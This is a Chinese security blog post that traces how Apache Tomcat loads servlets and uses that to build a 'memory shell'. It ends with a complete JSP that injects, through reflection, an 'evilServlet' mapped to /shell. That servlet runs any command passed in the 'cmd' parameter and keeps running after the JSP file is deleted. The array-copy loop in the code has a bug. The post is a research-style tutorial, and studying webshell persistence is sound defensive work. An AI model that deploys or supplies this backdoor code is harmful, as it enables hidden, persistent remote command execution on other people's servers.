参考文章:
https://goodapple.top/archives/1355
https://su18.org/post/memory-shell/
https://xz.aliyun.com/t/13024
Servlet的启动
JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。这句话可以从代码层面理解一下。在上篇提到过JspServlet =>org.apache.jasper.servlet.JspServlet
。接着上一篇的tomcat流程分析写,最后说到StandardWrapper
的初始化,在初始化之后还会去加载Servlet,在StandardContext.startInternal()
中的4932行代码:
在loadOnStartup方法中会通过load方法加载已经初始化的Servlet(defaultServlet+JSPServlet),在这里只会初始化在xml中配置了load-on-startup参数的servlet,在这里只有defaultServlet和JSPServlet,这里预先只会启动这两个Servlet。
load-on-startup 元素指示在启动 Web 应用程序时应加载(实例化并调用其 init())此 servlet。这些元素的可选内容必须是一个整数,指示应加载 Servlet 的顺序。如果该值为负整数,或者元素不存在,则容器可以随时自由加载 Servlet。如果该值为正整数或 0,则容器必须在部署应用程序时加载并初始化 Servlet。容器必须保证在标有较高整数的 Servlet 之前加载标有较低整数的 Servlet。容器可以选择具有相同启动时加载值的 servlet 的加载顺序。
那么其他的Servlet是什么时候启动的呢?
如果是第一次访问这个Servlet会将该其进行实例化并加到instancePool
中,第二次访问会直接调用pool中的Servlet
实例,一个Wrapper对应着一个Servlet。
解析请求发生在org.apache.catalina.connector.CoyoteAdapter#postParseRequest
这个方法中,解析请求之后结果会保存在request.mappingData
解析是通过Mapper.map()
方法进行解析的,该方法会进一步调用org.apache.catalina.mapper.Mapper#internalMap
进行解析
解析之后就会找到对应的Servlet,然后tomcat通过责任链的方式进行加载Servlet
然后下面就进入了pipeline
中,找到一篇讲的pipeline还算清楚的文章:https://www.cnblogs.com/coldridgeValley/p/5816414.html,网上关于这块的介绍也很多,有兴趣的话可以下来自行了解一下
pipeline
的具体实现类似于一个链表,每一个pipeline中至少有一个valve
,执行完一个valve
会调用getNext
获取下一个valve
,然后回一层一层调下去就像上图一样。
org.apache.catalina.core.StandardWrapper#allocate
分配此 Servlet 的初始化实例,该实例已准备好调用其 service()
方法。如果 servlet 类未实现SingleThreadModel
,则可以立即返回(仅)初始化的实例。如果 servlet 类实现SingleThreadModel
,则 Wrapper 实现必须确保在调用 deallocate()
解除分配之前不会再次分配此实例。
instance
保存的就是Servlet的实例,一开始的时候,因为没有配置web.xml中的load-on-startup
所以不会随着Tomcat启动而启动,只会在用户第一次访问的时候通过loadServlet()
加载Servlet
之后会调用org.apache.tomcat.InstanceManager#newInstance(java.lang.String)
去实例化Servlet,是根据wrapper.servletClass
这个属性去找到对应的类并实例化,这个属性的类型是String
然后回进行Servlet的初始化和加载
之后就返回了servlet的实例,紧接着会调用Servlet.service()
方法构造response
Servlet.service()会调用父类javax.servlet.http.HttpServlet#service(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)
,然后在这个方法里会判断请求的方法,并调用对应Servlet.doxxx()
方法。
Servlet内存马
上面大概介绍了一下Servlet加载的流程,此时完成一个Servlet内存马,很明确的是要创建一个Wrapper
,并且Wrapper
指向的是我们恶意的Servlet
。
这里就有几个问题需要继续弄明白:Wrapper
是存放在Context
中的哪个变量中?Wrapper
是如何做到与Servlet
一一对应的?添加Servlet的具体是哪一个方法?
servlet加载详细分析
首先会确定host
然后就是通过uri
与host.contextList.contexts
进行比较,最后将找到的context
赋值给mappingData.context
,而Wrapper
就保存在context.children
属性里
向其中添加值就使用对应的方法addChild()
便可以,要么就是获取到这个children使用put()
添加
直接使用addChild添加可以添加成功,但是会报错:
可以看到HashMap的key为null,跟一下代码看看这个key与什么有关
最后在ContainerBase
中可以看到,所以在添加的时候应该将Name设置一下(使用反射或者他自己的SetName都可以)
当然这是自己实现的思路,可以看看tomcat是如何创建Wrapper的:
context还有一个createWrapper
方法,在createWrapper
方法里其实也是调用了new StandardWrapper()
,之后又调用了wrapper.setName()
,将其设置为Servlet
的name
上面的内容是context
添加Wrapper
,接下来看一下Wrapper
是如何与Servlet
关联起来的
wrapper中有一个setServletClass
,传入servlet
的Class
对象,在上文Servlet的启动中也可以看到load()
方法中传入的是servletClass,这里需要注意一下
上面分析的是构造好的Servlet应该放在哪里,那解析的规则应该放在哪里呢?
解析URL的时候wrapper到底是如何被选择出来的?在构造内存马时,我们应该在哪里添加对应的URL解析?
在上面Servlet启动时说了org.apache.catalina.connector.CoyoteAdapter#postParseRequest
这个方法负责解析,跟进方法后,会调用到org.apache.catalina.mapper.Mapper#map
在map
方法里又会调用到org.apache.catalina.mapper.Mapper#internalMap
在org.apache.catalina.mapper.Mapper#internalMap()
之后会调用到org.apache.catalina.mapper.Mapper#internalMapWrapper()
这个方法中,wrapper就是在这个方法中被匹配到的
可以看到在进入方法前属性wrapper
为null
经过这个方法之后mappingData.wrapper
就找到了,具体的匹配规则一定在这里
exactWrappers
是传入的一个参数,在其中保存着对应context中的wrapper(除了defaultServlet和jspServlet),
在exactWrappers
中name就是对应的url解析地址,而object就是对应的wrapper
下面则是具体的实现细节,不去做过多解释
所以我构建内存马的思路也很清晰了,就是要在这个exactWrappers
中添加新的成员(Mapper$MappedWrapper
MappedWrapper是Mapper的子类)即可,接下来就是看如何在jsp文件中找到exactWrappers
而Mapper是在tomcat在运行的时候就已经生成了,等网站部署好的时候Mapper
已经生成好了,如果想修改只能通过反射获取之后改变他的值。当然也有其他更简单的方法,稍后再说。
构建内存马
其实就两步:1.构造一个StandardWrapper
,并将wrapper
的instance
指向我们恶意的servlet
对象,可以调用wrapper.setServlet()去实现。然后将wrapper添加到context
下,调用context.addChild()
。2.添加url解析,找到可以获取到Mapper
的地方,通过反射修改他的值。
下面应该开始构建内存马了,那我们应该如何获取Mapper
呢?在jsp
文件中我们能操控的对象有javax.servlet.http.HttpServletRequest
和javax.servlet.http.HttpServletResponse
最后我找到的一条链是这个req.request.mappingData.context.children
选择mappingData
还有一个就是因为他是可以直接获取到当前context
的,因为一个Host
可能有多个context
,而mappingData保存的是经过解析后的结果,所以context
是确定的。
另外获取connector
的一条链是
这样就都准备好了,下面就是用反射写代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153
| <%-- Created by IntelliJ IDEA. User: lucifer Date: 2024/4/24 Time: 16:11 To change this template use File | Settings | File Templates. --%> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="org.apache.catalina.mapper.MappingData" %> <%@ page import="java.util.Objects" %> <%@ page import="java.io.*" %> <%@ page import="org.apache.catalina.core.StandardWrapper" %> <%@ page import="org.apache.catalina.core.StandardService" %> <%@ page import="org.apache.catalina.connector.Connector" %> <%@ page import="org.apache.catalina.Service" %> <%@ page import="org.apache.catalina.mapper.Mapper" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.lang.reflect.Array" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); Field mpF = req.getClass().getDeclaredField("mappingData"); mpF.setAccessible(true); MappingData mappingData =(MappingData) mpF.get(req); %>
<%! public class evilServlet implements Servlet { @Override public void init(ServletConfig servletConfig) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); if (!Objects.equals(cmd, "")){ Process process = Runtime.getRuntime().exec(cmd); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; PrintWriter writer = servletResponse.getWriter(); while ((line = bufferedReader.readLine()) != null){ writer.write(line); } writer.flush(); } }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} } %>
<% evilServlet evil = new evilServlet(); StandardWrapper wrapper = new StandardWrapper(); wrapper.setName("evilServlet"); wrapper.setServlet(evil); mappingData.context.addChild(wrapper); Field connectorF = req.getClass().getDeclaredField("connector"); connectorF.setAccessible(true); Connector connector = (Connector) connectorF.get(req);
Field serviceF = connector.getClass().getDeclaredField("service"); serviceF.setAccessible(true); Service service = (Service) serviceF.get(connector);
Field mapperF = service.getClass().getDeclaredField("mapper"); mapperF.setAccessible(true); Mapper mapper = (Mapper) mapperF.get(service);
Field hostsF = mapper.getClass().getDeclaredField("hosts"); hostsF.setAccessible(true); Object[] objects = (Object[]) hostsF.get(mapper); for (Object o : objects){ Field contextListF = o.getClass().getDeclaredField("contextList"); contextListF.setAccessible(true); Object contextList = (Object) contextListF.get(o); Field contextsF = contextList.getClass().getDeclaredField("contexts"); contextsF.setAccessible(true); Object[] contextobjects = (Object[]) contextsF.get(contextList); for (Object contextobject : contextobjects){ Field contextNameF = contextobject.getClass().getSuperclass().getDeclaredField("name"); contextNameF.setAccessible(true); String contextName = (String) contextNameF.get(contextobject); if (contextName.equals("/JavaStudy_war_exploded")){ Field versionF = contextobject.getClass().getDeclaredField("versions"); versionF.setAccessible(true); Object[] versionObjects = (Object[]) versionF.get(contextobject); if (versionObjects.length != 0){ for (Object versionObject : versionObjects){ Field pathF = versionObject.getClass().getDeclaredField("path"); pathF.setAccessible(true); String path= (String) pathF.get(versionObject); if (path.equals("/JavaStudy_war_exploded")){ Field exactWrappersF = versionObject.getClass().getDeclaredField("exactWrappers"); exactWrappersF.setAccessible(true); Object[] exactWrappersObjects = (Object[]) exactWrappersF.get(versionObject); int listLength = exactWrappersObjects.length; Object[] newExactWrappersObjects = (Object[]) Array.newInstance(exactWrappersObjects.getClass().getComponentType(), listLength + 1); for (Object exactWrapperObject:exactWrappersObjects){ int index = 0; newExactWrappersObjects[index] = exactWrapperObject; } Constructor<?> mappedWrapperConstructor = newExactWrappersObjects.getClass().getComponentType().getDeclaredConstructor(String.class, Wrapper.class, boolean.class, boolean.class); mappedWrapperConstructor.setAccessible(true); Object evilMappedWrapper = (Object) mappedWrapperConstructor.newInstance("/shell",wrapper,false,false); newExactWrappersObjects[listLength] = evilMappedWrapper; exactWrappersF.set(versionObject,newExactWrappersObjects); System.out.println(versionObject); } } } } } }
%>
<html> <head> <title>Title</title> </head> <body>
</body> </html>
|
演示一下效果:
在没有访问写好的内存马jsp之前,是访问不到的,因为没有这个Servlet
这时再去访问shell
可以看到已经成功出现结果,这时即使将恶意的jsp文件删除了,也能够访问到这个servlet,因为他已经被写入内存里了,就是上面分析的那几个变量中。